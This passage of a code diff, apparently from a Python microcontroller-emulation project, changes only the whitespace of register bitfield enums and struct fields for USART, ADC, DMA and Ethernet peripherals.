('BRR' , ctypes.c_uint32), # USART Baud rate register, Address offset: 0x08
|
||||
('CR1' , ctypes.c_uint32), # USART Control register 1, Address offset: 0x0C
|
||||
('CR2' , ctypes.c_uint32), # USART Control register 2, Address offset: 0x10
|
||||
('CR3' , ctypes.c_uint32), # USART Control register 3, Address offset: 0x14
|
||||
('GTPR', ctypes.c_uint32), # USART Guard time and prescaler register, Address offset: 0x18
|
||||
]
|
||||
('SR' , ctypes.c_uint32), # USART Status register, Address offset: 0x00
|
||||
('DR' , ctypes.c_uint32), # USART Data register, Address offset: 0x04
|
||||
('BRR' , ctypes.c_uint32), # USART Baud rate register, Address offset: 0x08
|
||||
('CR1' , ctypes.c_uint32), # USART Control register 1, Address offset: 0x0C
|
||||
('CR2' , ctypes.c_uint32), # USART Control register 2, Address offset: 0x10
|
||||
('CR3' , ctypes.c_uint32), # USART Control register 3, Address offset: 0x14
|
||||
('GTPR', ctypes.c_uint32), # USART Guard time and prescaler register, Address offset: 0x18
|
||||
]
|
||||
|
||||
|
||||
def __init__(self, ql, label, intn=None):
|
||||
|
||||
@@ -7,94 +7,94 @@ from enum import IntEnum
|
||||
|
||||
|
||||
class ADC_SR(IntEnum):
|
||||
AWD = 1 << 0
|
||||
EOS = 1 << 1
|
||||
JEOS = 1 << 2
|
||||
JSTRT = 1 << 3
|
||||
STRT = 1 << 4
|
||||
AWD = 1 << 0
|
||||
EOS = 1 << 1
|
||||
JEOS = 1 << 2
|
||||
JSTRT = 1 << 3
|
||||
STRT = 1 << 4
|
||||
|
||||
class ADC_CR1(IntEnum):
|
||||
AWDCH = 0x1f << 0
|
||||
EOSIE = 1 << 5
|
||||
AWDIE = 1 << 6
|
||||
JEOSIE = 1 << 7
|
||||
SCAN = 1 << 8
|
||||
AWDSGL = 1 << 9
|
||||
JAUTO = 1 << 10
|
||||
DISCEN = 1 << 11
|
||||
JDISCEN = 1 << 12
|
||||
DISCNUM = 0x7 << 13
|
||||
DALMOD = 0xf << 16
|
||||
JAWDEN = 1 << 22
|
||||
AWDEN = 1 << 23
|
||||
AWDCH = 0x1f << 0
|
||||
EOSIE = 1 << 5
|
||||
AWDIE = 1 << 6
|
||||
JEOSIE = 1 << 7
|
||||
SCAN = 1 << 8
|
||||
AWDSGL = 1 << 9
|
||||
JAUTO = 1 << 10
|
||||
DISCEN = 1 << 11
|
||||
JDISCEN = 1 << 12
|
||||
DISCNUM = 0x7 << 13
|
||||
DALMOD = 0xf << 16
|
||||
JAWDEN = 1 << 22
|
||||
AWDEN = 1 << 23
|
||||
|
||||
class ADC_CR2(IntEnum):
|
||||
ADON = 1 << 0
|
||||
CONT = 1 << 1
|
||||
CAL = 1 << 2
|
||||
RSTCAL = 1 << 3
|
||||
DMA = 1 << 8
|
||||
ALIGN = 1 << 11
|
||||
JEXTSEL = 0x7 << 12
|
||||
JEXTTRIG = 1 << 15
|
||||
EXTSEL = 0x7 << 17
|
||||
EXTTRIG = 1 << 20
|
||||
JSWSTART = 1 << 21
|
||||
SWSTART = 1 << 22
|
||||
TSVREFE = 1 << 23
|
||||
ADON = 1 << 0
|
||||
CONT = 1 << 1
|
||||
CAL = 1 << 2
|
||||
RSTCAL = 1 << 3
|
||||
DMA = 1 << 8
|
||||
ALIGN = 1 << 11
|
||||
JEXTSEL = 0x7 << 12
|
||||
JEXTTRIG = 1 << 15
|
||||
EXTSEL = 0x7 << 17
|
||||
EXTTRIG = 1 << 20
|
||||
JSWSTART = 1 << 21
|
||||
SWSTART = 1 << 22
|
||||
TSVREFE = 1 << 23
|
||||
|
||||
class ADC_SMPR1(IntEnum):
|
||||
SMP10 = 0x7 << 0
|
||||
SMP11 = 0x7 << 3
|
||||
SMP12 = 0x7 << 6
|
||||
SMP13 = 0x7 << 9
|
||||
SMP14 = 0x7 << 12
|
||||
SMP15 = 0x7 << 15
|
||||
SMP16 = 0x7 << 18
|
||||
SMP17 = 0x7 << 21
|
||||
SMP10 = 0x7 << 0
|
||||
SMP11 = 0x7 << 3
|
||||
SMP12 = 0x7 << 6
|
||||
SMP13 = 0x7 << 9
|
||||
SMP14 = 0x7 << 12
|
||||
SMP15 = 0x7 << 15
|
||||
SMP16 = 0x7 << 18
|
||||
SMP17 = 0x7 << 21
|
||||
|
||||
class ADC_SMPR2(IntEnum):
|
||||
SMP0 = 0x7 << 0
|
||||
SMP1 = 0x7 << 3
|
||||
SMP2 = 0x7 << 6
|
||||
SMP3 = 0x7 << 9
|
||||
SMP4 = 0x7 << 12
|
||||
SMP5 = 0x7 << 15
|
||||
SMP6 = 0x7 << 18
|
||||
SMP7 = 0x7 << 21
|
||||
SMP8 = 0x7 << 24
|
||||
SMP9 = 0x7 << 27
|
||||
SMP0 = 0x7 << 0
|
||||
SMP1 = 0x7 << 3
|
||||
SMP2 = 0x7 << 6
|
||||
SMP3 = 0x7 << 9
|
||||
SMP4 = 0x7 << 12
|
||||
SMP5 = 0x7 << 15
|
||||
SMP6 = 0x7 << 18
|
||||
SMP7 = 0x7 << 21
|
||||
SMP8 = 0x7 << 24
|
||||
SMP9 = 0x7 << 27
|
||||
|
||||
class ADC_SQR1(IntEnum):
|
||||
SQ13 = 0x1f << 0
|
||||
SQ14 = 0x1f << 5
|
||||
SQ15 = 0x1f << 10
|
||||
SQ16 = 0x1f << 15
|
||||
L = 0xf << 20
|
||||
SQ13 = 0x1f << 0
|
||||
SQ14 = 0x1f << 5
|
||||
SQ15 = 0x1f << 10
|
||||
SQ16 = 0x1f << 15
|
||||
L = 0xf << 20
|
||||
|
||||
class ADC_SQR2(IntEnum):
|
||||
SQ7 = 0x1f << 0
|
||||
SQ8 = 0x1f << 5
|
||||
SQ9 = 0x1f << 10
|
||||
SQ10 = 0x1f << 15
|
||||
SQ11 = 0x1f << 20
|
||||
SQ12 = 0x1f << 25
|
||||
SQ7 = 0x1f << 0
|
||||
SQ8 = 0x1f << 5
|
||||
SQ9 = 0x1f << 10
|
||||
SQ10 = 0x1f << 15
|
||||
SQ11 = 0x1f << 20
|
||||
SQ12 = 0x1f << 25
|
||||
|
||||
class ADC_SQR3(IntEnum):
|
||||
SQ1 = 0x1f << 0
|
||||
SQ2 = 0x1f << 5
|
||||
SQ3 = 0x1f << 10
|
||||
SQ4 = 0x1f << 15
|
||||
SQ5 = 0x1f << 20
|
||||
SQ6 = 0x1f << 25
|
||||
SQ1 = 0x1f << 0
|
||||
SQ2 = 0x1f << 5
|
||||
SQ3 = 0x1f << 10
|
||||
SQ4 = 0x1f << 15
|
||||
SQ5 = 0x1f << 20
|
||||
SQ6 = 0x1f << 25
|
||||
|
||||
class ADC_JSQR(IntEnum):
|
||||
JSQ1 = 0x1f << 0
|
||||
JSQ2 = 0x1f << 5
|
||||
JSQ3 = 0x1f << 10
|
||||
JSQ4 = 0x1f << 15
|
||||
JL = 0x3 << 20
|
||||
JSQ1 = 0x1f << 0
|
||||
JSQ2 = 0x1f << 5
|
||||
JSQ3 = 0x1f << 10
|
||||
JSQ4 = 0x1f << 15
|
||||
JL = 0x3 << 20
|
||||
|
||||
class ADC_DR(IntEnum):
|
||||
DATA = 0xffff << 0
|
||||
ADC2DATA = 0xffff << 16
|
||||
DATA = 0xffff << 0
|
||||
ADC2DATA = 0xffff << 16
|
||||
|
||||
@@ -7,64 +7,64 @@ from enum import IntEnum
|
||||
|
||||
|
||||
class DMA_ISR(IntEnum):
|
||||
GIF1 = 1 << 0
|
||||
TCIF1 = 1 << 1
|
||||
HTIF1 = 1 << 2
|
||||
TEIF1 = 1 << 3
|
||||
GIF2 = 1 << 4
|
||||
TCIF2 = 1 << 5
|
||||
HTIF2 = 1 << 6
|
||||
TEIF2 = 1 << 7
|
||||
GIF3 = 1 << 8
|
||||
TCIF3 = 1 << 9
|
||||
HTIF3 = 1 << 10
|
||||
TEIF3 = 1 << 11
|
||||
GIF4 = 1 << 12
|
||||
TCIF4 = 1 << 13
|
||||
HTIF4 = 1 << 14
|
||||
TEIF4 = 1 << 15
|
||||
GIF5 = 1 << 16
|
||||
TCIF5 = 1 << 17
|
||||
HTIF5 = 1 << 18
|
||||
TEIF5 = 1 << 19
|
||||
GIF6 = 1 << 20
|
||||
TCIF6 = 1 << 21
|
||||
HTIF6 = 1 << 22
|
||||
TEIF6 = 1 << 23
|
||||
GIF7 = 1 << 24
|
||||
TCIF7 = 1 << 25
|
||||
HTIF7 = 1 << 26
|
||||
TEIF7 = 1 << 27
|
||||
GIF1 = 1 << 0
|
||||
TCIF1 = 1 << 1
|
||||
HTIF1 = 1 << 2
|
||||
TEIF1 = 1 << 3
|
||||
GIF2 = 1 << 4
|
||||
TCIF2 = 1 << 5
|
||||
HTIF2 = 1 << 6
|
||||
TEIF2 = 1 << 7
|
||||
GIF3 = 1 << 8
|
||||
TCIF3 = 1 << 9
|
||||
HTIF3 = 1 << 10
|
||||
TEIF3 = 1 << 11
|
||||
GIF4 = 1 << 12
|
||||
TCIF4 = 1 << 13
|
||||
HTIF4 = 1 << 14
|
||||
TEIF4 = 1 << 15
|
||||
GIF5 = 1 << 16
|
||||
TCIF5 = 1 << 17
|
||||
HTIF5 = 1 << 18
|
||||
TEIF5 = 1 << 19
|
||||
GIF6 = 1 << 20
|
||||
TCIF6 = 1 << 21
|
||||
HTIF6 = 1 << 22
|
||||
TEIF6 = 1 << 23
|
||||
GIF7 = 1 << 24
|
||||
TCIF7 = 1 << 25
|
||||
HTIF7 = 1 << 26
|
||||
TEIF7 = 1 << 27
|
||||
|
||||
class DMA_IFCR(IntEnum):
|
||||
CGIF1 = 1 << 0
|
||||
CTCIF1 = 1 << 1
|
||||
CHTIF1 = 1 << 2
|
||||
CTEIF1 = 1 << 3
|
||||
CGIF2 = 1 << 4
|
||||
CTCIF2 = 1 << 5
|
||||
CHTIF2 = 1 << 6
|
||||
CTEIF2 = 1 << 7
|
||||
CGIF3 = 1 << 8
|
||||
CTCIF3 = 1 << 9
|
||||
CHTIF3 = 1 << 10
|
||||
CTEIF3 = 1 << 11
|
||||
CGIF4 = 1 << 12
|
||||
CTCIF4 = 1 << 13
|
||||
CHTIF4 = 1 << 14
|
||||
CTEIF4 = 1 << 15
|
||||
CGIF5 = 1 << 16
|
||||
CTCIF5 = 1 << 17
|
||||
CHTIF5 = 1 << 18
|
||||
CTEIF5 = 1 << 19
|
||||
CGIF6 = 1 << 20
|
||||
CTCIF6 = 1 << 21
|
||||
CHTIF6 = 1 << 22
|
||||
CTEIF6 = 1 << 23
|
||||
CGIF7 = 1 << 24
|
||||
CTCIF7 = 1 << 25
|
||||
CHTIF7 = 1 << 26
|
||||
CTEIF7 = 1 << 27
|
||||
CGIF1 = 1 << 0
|
||||
CTCIF1 = 1 << 1
|
||||
CHTIF1 = 1 << 2
|
||||
CTEIF1 = 1 << 3
|
||||
CGIF2 = 1 << 4
|
||||
CTCIF2 = 1 << 5
|
||||
CHTIF2 = 1 << 6
|
||||
CTEIF2 = 1 << 7
|
||||
CGIF3 = 1 << 8
|
||||
CTCIF3 = 1 << 9
|
||||
CHTIF3 = 1 << 10
|
||||
CTEIF3 = 1 << 11
|
||||
CGIF4 = 1 << 12
|
||||
CTCIF4 = 1 << 13
|
||||
CHTIF4 = 1 << 14
|
||||
CTEIF4 = 1 << 15
|
||||
CGIF5 = 1 << 16
|
||||
CTCIF5 = 1 << 17
|
||||
CHTIF5 = 1 << 18
|
||||
CTEIF5 = 1 << 19
|
||||
CGIF6 = 1 << 20
|
||||
CTCIF6 = 1 << 21
|
||||
CHTIF6 = 1 << 22
|
||||
CTEIF6 = 1 << 23
|
||||
CGIF7 = 1 << 24
|
||||
CTCIF7 = 1 << 25
|
||||
CHTIF7 = 1 << 26
|
||||
CTEIF7 = 1 << 27
|
||||
|
||||
class DMA_CR(IntEnum):
|
||||
EN = 1 << 0
|
||||
@@ -85,13 +85,13 @@ class DMA_CR(IntEnum):
|
||||
MEM2MEM = 1 << 14
|
||||
|
||||
class DMA(IntEnum):
|
||||
PERIPH_TO_MEMORY = 0
|
||||
MEMORY_TO_PERIPH = DMA_CR.DIR
|
||||
PERIPH_TO_MEMORY = 0
|
||||
MEMORY_TO_PERIPH = DMA_CR.DIR
|
||||
|
||||
PDATAALIGN_BYTE = 0
|
||||
PDATAALIGN_HALFWORD = DMA_CR.PSIZE_0
|
||||
PDATAALIGN_WORD = DMA_CR.PSIZE_1
|
||||
PDATAALIGN_BYTE = 0
|
||||
PDATAALIGN_HALFWORD = DMA_CR.PSIZE_0
|
||||
PDATAALIGN_WORD = DMA_CR.PSIZE_1
|
||||
|
||||
MDATAALIGN_BYTE = 0
|
||||
MDATAALIGN_HALFWORD = DMA_CR.MSIZE_0
|
||||
MDATAALIGN_WORD = DMA_CR.MSIZE_1
|
||||
MDATAALIGN_BYTE = 0
|
||||
MDATAALIGN_HALFWORD = DMA_CR.MSIZE_0
|
||||
MDATAALIGN_WORD = DMA_CR.MSIZE_1
|
||||
|
||||
@@ -43,117 +43,117 @@ class DMA_SxCR(IntEnum):
|
||||
EN = 1 << 0
|
||||
|
||||
class DMA_SxFCR(IntEnum):
|
||||
FEIE = 1 << 7
|
||||
FS = 0x7 << 3
|
||||
DMDIS = 1 << 2
|
||||
FTH = 0x3 << 0
|
||||
FEIE = 1 << 7
|
||||
FS = 0x7 << 3
|
||||
DMDIS = 1 << 2
|
||||
FTH = 0x3 << 0
|
||||
|
||||
class DMA_LISR(IntEnum):
|
||||
TCIF3 = 1 << 27
|
||||
HTIF3 = 1 << 26
|
||||
TEIF3 = 1 << 25
|
||||
DMEIF3 = 1 << 24
|
||||
FEIF3 = 1 << 22
|
||||
TCIF2 = 1 << 21
|
||||
HTIF2 = 1 << 20
|
||||
TEIF2 = 1 << 19
|
||||
DMEIF2 = 1 << 18
|
||||
FEIF2 = 1 << 16
|
||||
TCIF1 = 1 << 11
|
||||
HTIF1 = 1 << 10
|
||||
TEIF1 = 1 << 9
|
||||
DMEIF1 = 1 << 8
|
||||
FEIF1 = 1 << 6
|
||||
TCIF0 = 1 << 5
|
||||
HTIF0 = 1 << 4
|
||||
TEIF0 = 1 << 3
|
||||
DMEIF0 = 1 << 2
|
||||
FEIF0 = 1 << 0
|
||||
TCIF3 = 1 << 27
|
||||
HTIF3 = 1 << 26
|
||||
TEIF3 = 1 << 25
|
||||
DMEIF3 = 1 << 24
|
||||
FEIF3 = 1 << 22
|
||||
TCIF2 = 1 << 21
|
||||
HTIF2 = 1 << 20
|
||||
TEIF2 = 1 << 19
|
||||
DMEIF2 = 1 << 18
|
||||
FEIF2 = 1 << 16
|
||||
TCIF1 = 1 << 11
|
||||
HTIF1 = 1 << 10
|
||||
TEIF1 = 1 << 9
|
||||
DMEIF1 = 1 << 8
|
||||
FEIF1 = 1 << 6
|
||||
TCIF0 = 1 << 5
|
||||
HTIF0 = 1 << 4
|
||||
TEIF0 = 1 << 3
|
||||
DMEIF0 = 1 << 2
|
||||
FEIF0 = 1 << 0
|
||||
|
||||
class DMA_HISR(IntEnum):
|
||||
TCIF7 = 1 << 27
|
||||
HTIF7 = 1 << 26
|
||||
TEIF7 = 1 << 25
|
||||
DMEIF7 = 1 << 24
|
||||
FEIF7 = 1 << 22
|
||||
TCIF6 = 1 << 21
|
||||
HTIF6 = 1 << 20
|
||||
TEIF6 = 1 << 19
|
||||
DMEIF6 = 1 << 18
|
||||
FEIF6 = 1 << 16
|
||||
TCIF5 = 1 << 11
|
||||
HTIF5 = 1 << 10
|
||||
TEIF5 = 1 << 9
|
||||
DMEIF5 = 1 << 8
|
||||
FEIF5 = 1 << 6
|
||||
TCIF4 = 1 << 5
|
||||
HTIF4 = 1 << 4
|
||||
TEIF4 = 1 << 3
|
||||
DMEIF4 = 1 << 2
|
||||
FEIF4 = 1 << 0
|
||||
TCIF7 = 1 << 27
|
||||
HTIF7 = 1 << 26
|
||||
TEIF7 = 1 << 25
|
||||
DMEIF7 = 1 << 24
|
||||
FEIF7 = 1 << 22
|
||||
TCIF6 = 1 << 21
|
||||
HTIF6 = 1 << 20
|
||||
TEIF6 = 1 << 19
|
||||
DMEIF6 = 1 << 18
|
||||
FEIF6 = 1 << 16
|
||||
TCIF5 = 1 << 11
|
||||
HTIF5 = 1 << 10
|
||||
TEIF5 = 1 << 9
|
||||
DMEIF5 = 1 << 8
|
||||
FEIF5 = 1 << 6
|
||||
TCIF4 = 1 << 5
|
||||
HTIF4 = 1 << 4
|
||||
TEIF4 = 1 << 3
|
||||
DMEIF4 = 1 << 2
|
||||
FEIF4 = 1 << 0
|
||||
|
||||
class DMA_LIFCR(IntEnum):
|
||||
CTCIF3 = 1 << 27
|
||||
CHTIF3 = 1 << 26
|
||||
CTEIF3 = 1 << 25
|
||||
CDMEIF3 = 1 << 24
|
||||
CFEIF3 = 1 << 22
|
||||
CTCIF2 = 1 << 21
|
||||
CHTIF2 = 1 << 20
|
||||
CTEIF2 = 1 << 19
|
||||
CDMEIF2 = 1 << 18
|
||||
CFEIF2 = 1 << 16
|
||||
CTCIF1 = 1 << 11
|
||||
CHTIF1 = 1 << 10
|
||||
CTEIF1 = 1 << 9
|
||||
CDMEIF1 = 1 << 8
|
||||
CFEIF1 = 1 << 6
|
||||
CTCIF0 = 1 << 5
|
||||
CHTIF0 = 1 << 4
|
||||
CTEIF0 = 1 << 3
|
||||
CDMEIF0 = 1 << 2
|
||||
CFEIF0 = 1 << 0
|
||||
CTCIF3 = 1 << 27
|
||||
CHTIF3 = 1 << 26
|
||||
CTEIF3 = 1 << 25
|
||||
CDMEIF3 = 1 << 24
|
||||
CFEIF3 = 1 << 22
|
||||
CTCIF2 = 1 << 21
|
||||
CHTIF2 = 1 << 20
|
||||
CTEIF2 = 1 << 19
|
||||
CDMEIF2 = 1 << 18
|
||||
CFEIF2 = 1 << 16
|
||||
CTCIF1 = 1 << 11
|
||||
CHTIF1 = 1 << 10
|
||||
CTEIF1 = 1 << 9
|
||||
CDMEIF1 = 1 << 8
|
||||
CFEIF1 = 1 << 6
|
||||
CTCIF0 = 1 << 5
|
||||
CHTIF0 = 1 << 4
|
||||
CTEIF0 = 1 << 3
|
||||
CDMEIF0 = 1 << 2
|
||||
CFEIF0 = 1 << 0
|
||||
|
||||
class DMA_HIFCR(IntEnum):
|
||||
CTCIF7 = 1 << 27
|
||||
CHTIF7 = 1 << 26
|
||||
CTEIF7 = 1 << 25
|
||||
CDMEIF7 = 1 << 24
|
||||
CFEIF7 = 1 << 22
|
||||
CTCIF6 = 1 << 21
|
||||
CHTIF6 = 1 << 20
|
||||
CTEIF6 = 1 << 19
|
||||
CDMEIF6 = 1 << 18
|
||||
CFEIF6 = 1 << 16
|
||||
CTCIF5 = 1 << 11
|
||||
CHTIF5 = 1 << 10
|
||||
CTEIF5 = 1 << 9
|
||||
CDMEIF5 = 1 << 8
|
||||
CFEIF5 = 1 << 6
|
||||
CTCIF4 = 1 << 5
|
||||
CHTIF4 = 1 << 4
|
||||
CTEIF4 = 1 << 3
|
||||
CDMEIF4 = 1 << 2
|
||||
CFEIF4 = 1 << 0
|
||||
CTCIF7 = 1 << 27
|
||||
CHTIF7 = 1 << 26
|
||||
CTEIF7 = 1 << 25
|
||||
CDMEIF7 = 1 << 24
|
||||
CFEIF7 = 1 << 22
|
||||
CTCIF6 = 1 << 21
|
||||
CHTIF6 = 1 << 20
|
||||
CTEIF6 = 1 << 19
|
||||
CDMEIF6 = 1 << 18
|
||||
CFEIF6 = 1 << 16
|
||||
CTCIF5 = 1 << 11
|
||||
CHTIF5 = 1 << 10
|
||||
CTEIF5 = 1 << 9
|
||||
CDMEIF5 = 1 << 8
|
||||
CFEIF5 = 1 << 6
|
||||
CTCIF4 = 1 << 5
|
||||
CHTIF4 = 1 << 4
|
||||
CTEIF4 = 1 << 3
|
||||
CDMEIF4 = 1 << 2
|
||||
CFEIF4 = 1 << 0
|
||||
|
||||
class DMA_SxPAR(IntEnum):
|
||||
PA = 0xffffffff << 0
|
||||
PA = 0xffffffff << 0
|
||||
|
||||
class DMA_SxM0AR(IntEnum):
|
||||
M0A = 0xffffffff << 0
|
||||
M0A = 0xffffffff << 0
|
||||
|
||||
class DMA_SxM1AR(IntEnum):
|
||||
M1A = 0xffffffff << 0
|
||||
M1A = 0xffffffff << 0
|
||||
|
||||
class DMA(IntEnum):
|
||||
PERIPH_TO_MEMORY = 0
|
||||
MEMORY_TO_PERIPH = DMA_SxCR.DIR_0
|
||||
MEMORY_TO_MEMORY = DMA_SxCR.DIR_1
|
||||
PERIPH_TO_MEMORY = 0
|
||||
MEMORY_TO_PERIPH = DMA_SxCR.DIR_0
|
||||
MEMORY_TO_MEMORY = DMA_SxCR.DIR_1
|
||||
|
||||
PDATAALIGN_BYTE = 0
|
||||
PDATAALIGN_HALFWORD = DMA_SxCR.PSIZE_0
|
||||
PDATAALIGN_WORD = DMA_SxCR.PSIZE_1
|
||||
PDATAALIGN_BYTE = 0
|
||||
PDATAALIGN_HALFWORD = DMA_SxCR.PSIZE_0
|
||||
PDATAALIGN_WORD = DMA_SxCR.PSIZE_1
|
||||
|
||||
MDATAALIGN_BYTE = 0
|
||||
MDATAALIGN_HALFWORD = DMA_SxCR.MSIZE_0
|
||||
MDATAALIGN_WORD = DMA_SxCR.MSIZE_1
|
||||
MDATAALIGN_BYTE = 0
|
||||
MDATAALIGN_HALFWORD = DMA_SxCR.MSIZE_0
|
||||
MDATAALIGN_WORD = DMA_SxCR.MSIZE_1
|
||||
|
||||
+216
-216
@@ -2,271 +2,271 @@ from enum import IntEnum
|
||||
|
||||
|
||||
class ETH_MACCR(IntEnum):
|
||||
WD = 1 << 23
|
||||
JD = 1 << 22
|
||||
IFG = 0x7 << 17
|
||||
CSD = 1 << 16
|
||||
FES = 1 << 14
|
||||
ROD = 1 << 13
|
||||
LM = 1 << 12
|
||||
DM = 1 << 11
|
||||
IPCO = 1 << 10
|
||||
RD = 1 << 9
|
||||
APCS = 1 << 7
|
||||
BL = 0x3 << 5
|
||||
DC = 1 << 4
|
||||
TE = 1 << 3
|
||||
RE = 1 << 2
|
||||
WD = 1 << 23
|
||||
JD = 1 << 22
|
||||
IFG = 0x7 << 17
|
||||
CSD = 1 << 16
|
||||
FES = 1 << 14
|
||||
ROD = 1 << 13
|
||||
LM = 1 << 12
|
||||
DM = 1 << 11
|
||||
IPCO = 1 << 10
|
||||
RD = 1 << 9
|
||||
APCS = 1 << 7
|
||||
BL = 0x3 << 5
|
||||
DC = 1 << 4
|
||||
TE = 1 << 3
|
||||
RE = 1 << 2
|
||||
|
||||
class ETH_MACFFR(IntEnum):
|
||||
RA = 1 << 31
|
||||
HPF = 1 << 10
|
||||
SAF = 1 << 9
|
||||
SAIF = 1 << 8
|
||||
PCF = 0x3 << 6
|
||||
PCF_BlockAll = 1 << 6
|
||||
PCF_ForwardAll = 1 << 7
|
||||
PCF_ForwardPassedAddrFilter = 0x3 << 6
|
||||
BFD = 1 << 5
|
||||
PAM = 1 << 4
|
||||
DAIF = 1 << 3
|
||||
HM = 1 << 2
|
||||
HU = 1 << 1
|
||||
PM = 1 << 0
|
||||
RA = 1 << 31
|
||||
HPF = 1 << 10
|
||||
SAF = 1 << 9
|
||||
SAIF = 1 << 8
|
||||
PCF = 0x3 << 6
|
||||
PCF_BlockAll = 1 << 6
|
||||
PCF_ForwardAll = 1 << 7
|
||||
PCF_ForwardPassedAddrFilter = 0x3 << 6
|
||||
BFD = 1 << 5
|
||||
PAM = 1 << 4
|
||||
DAIF = 1 << 3
|
||||
HM = 1 << 2
|
||||
HU = 1 << 1
|
||||
PM = 1 << 0
|
||||
|
||||
class ETH_MACMIIAR(IntEnum):
|
||||
PA = 0x1f << 11
|
||||
MR = 0x1f << 6
|
||||
CR = 0x7 << 2
|
||||
CR_Div62 = 1 << 2
|
||||
CR_Div16 = 1 << 3
|
||||
CR_Div26 = 0x3 << 2
|
||||
CR_Div102 = 1 << 4
|
||||
MW = 1 << 1
|
||||
MB = 1 << 0
|
||||
PA = 0x1f << 11
|
||||
MR = 0x1f << 6
|
||||
CR = 0x7 << 2
|
||||
CR_Div62 = 1 << 2
|
||||
CR_Div16 = 1 << 3
|
||||
CR_Div26 = 0x3 << 2
|
||||
CR_Div102 = 1 << 4
|
||||
MW = 1 << 1
|
||||
MB = 1 << 0
|
||||
|
||||
class ETH_MACFCR(IntEnum):
|
||||
PT = 0xffff << 16
|
||||
ZQPD = 1 << 7
|
||||
PLT = 0x3 << 4
|
||||
PLT_Minus28 = 1 << 4
|
||||
PLT_Minus144 = 1 << 5
|
||||
PLT_Minus256 = 0x3 << 4
|
||||
UPFD = 1 << 3
|
||||
RFCE = 1 << 2
|
||||
TFCE = 1 << 1
|
||||
FCBBPA = 1 << 0
|
||||
PT = 0xffff << 16
|
||||
ZQPD = 1 << 7
|
||||
PLT = 0x3 << 4
|
||||
PLT_Minus28 = 1 << 4
|
||||
PLT_Minus144 = 1 << 5
|
||||
PLT_Minus256 = 0x3 << 4
|
||||
UPFD = 1 << 3
|
||||
RFCE = 1 << 2
|
||||
TFCE = 1 << 1
|
||||
FCBBPA = 1 << 0
|
||||
|
||||
class ETH_MACVLANTR(IntEnum):
|
||||
VLANTC = 1 << 16
|
||||
VLANTI = 0xffff << 0
|
||||
VLANTC = 1 << 16
|
||||
VLANTI = 0xffff << 0
|
||||
|
||||
class ETH_MACPMTCSR(IntEnum):
|
||||
WFFRPR = 1 << 31
|
||||
GU = 1 << 9
|
||||
WFR = 1 << 6
|
||||
MPR = 1 << 5
|
||||
WFE = 1 << 2
|
||||
MPE = 1 << 1
|
||||
PD = 1 << 0
|
||||
WFFRPR = 1 << 31
|
||||
GU = 1 << 9
|
||||
WFR = 1 << 6
|
||||
MPR = 1 << 5
|
||||
WFE = 1 << 2
|
||||
MPE = 1 << 1
|
||||
PD = 1 << 0
|
||||
|
||||
class ETH_MACDBGR(IntEnum):
|
||||
TFF = 1 << 25
|
||||
TFNE = 1 << 24
|
||||
TFWA = 1 << 22
|
||||
TFRS = 0x3 << 20
|
||||
TFRS_WRITING = 0x3 << 20
|
||||
TFRS_WAITING = 1 << 21
|
||||
TFRS_READ = 1 << 20
|
||||
MTP = 1 << 19
|
||||
MTFCS = 0x3 << 17
|
||||
MTFCS_TRANSFERRING = 0x3 << 17
|
||||
MTFCS_GENERATINGPCF = 1 << 18
|
||||
MTFCS_WAITING = 1 << 17
|
||||
MMTEA = 1 << 16
|
||||
RFFL = 0x3 << 8
|
||||
RFFL_FL = 0x3 << 8
|
||||
RFFL_ABOVEFCT = 1 << 9
|
||||
RFFL_BELOWFCT = 1 << 8
|
||||
RFRCS = 0x3 << 5
|
||||
RFRCS_FLUSHING = 0x3 << 5
|
||||
RFRCS_STATUSREADING = 1 << 6
|
||||
RFRCS_DATAREADING = 1 << 5
|
||||
RFWRA = 1 << 4
|
||||
MSFRWCS = 0x3 << 1
|
||||
MMRPEA = 1 << 0
|
||||
TFF = 1 << 25
|
||||
TFNE = 1 << 24
|
||||
TFWA = 1 << 22
|
||||
TFRS = 0x3 << 20
|
||||
TFRS_WRITING = 0x3 << 20
|
||||
TFRS_WAITING = 1 << 21
|
||||
TFRS_READ = 1 << 20
|
||||
MTP = 1 << 19
|
||||
MTFCS = 0x3 << 17
|
||||
MTFCS_TRANSFERRING = 0x3 << 17
|
||||
MTFCS_GENERATINGPCF = 1 << 18
|
||||
MTFCS_WAITING = 1 << 17
|
||||
MMTEA = 1 << 16
|
||||
RFFL = 0x3 << 8
|
||||
RFFL_FL = 0x3 << 8
|
||||
RFFL_ABOVEFCT = 1 << 9
|
||||
RFFL_BELOWFCT = 1 << 8
|
||||
RFRCS = 0x3 << 5
|
||||
RFRCS_FLUSHING = 0x3 << 5
|
||||
RFRCS_STATUSREADING = 1 << 6
|
||||
RFRCS_DATAREADING = 1 << 5
|
||||
RFWRA = 1 << 4
|
||||
MSFRWCS = 0x3 << 1
|
||||
MMRPEA = 1 << 0
|
||||
|
||||
class ETH_MACSR(IntEnum):
|
||||
TSTS = 1 << 9
|
||||
MMCTS = 1 << 6
|
||||
MMMCRS = 1 << 5
|
||||
MMCS = 1 << 4
|
||||
PMTS = 1 << 3
|
||||
TSTS = 1 << 9
|
||||
MMCTS = 1 << 6
|
||||
MMMCRS = 1 << 5
|
||||
MMCS = 1 << 4
|
||||
PMTS = 1 << 3
|
||||
|
||||
class ETH_MACIMR(IntEnum):
|
||||
TSTIM = 1 << 9
|
||||
PMTIM = 1 << 3
|
||||
TSTIM = 1 << 9
|
||||
PMTIM = 1 << 3
|
||||
|
||||
class ETH_MACA1HR(IntEnum):
|
||||
AE = 1 << 31
|
||||
SA = 1 << 30
|
||||
MBC = 0x3f << 24
|
||||
MACA1H = 0xffff << 0
|
||||
AE = 1 << 31
|
||||
SA = 1 << 30
|
||||
MBC = 0x3f << 24
|
||||
MACA1H = 0xffff << 0
|
||||
|
||||
class ETH_MACA2HR(IntEnum):
|
||||
AE = 1 << 31
|
||||
SA = 1 << 30
|
||||
MBC = 0x3f << 24
|
||||
MACA2H = 0xffff << 0
|
||||
AE = 1 << 31
|
||||
SA = 1 << 30
|
||||
MBC = 0x3f << 24
|
||||
MACA2H = 0xffff << 0
|
||||
|
||||
class ETH_MACA3HR(IntEnum):
|
||||
AE = 1 << 31
|
||||
SA = 1 << 30
|
||||
MBC = 0x3f << 24
|
||||
MACA3H = 0xffff << 0
|
||||
AE = 1 << 31
|
||||
SA = 1 << 30
|
||||
MBC = 0x3f << 24
|
||||
MACA3H = 0xffff << 0
|
||||
|
||||
class ETH_MMCCR(IntEnum):
|
||||
MCFHP = 1 << 5
|
||||
MCP = 1 << 4
|
||||
MCF = 1 << 3
|
||||
ROR = 1 << 2
|
||||
CSR = 1 << 1
|
||||
CR = 1 << 0
|
||||
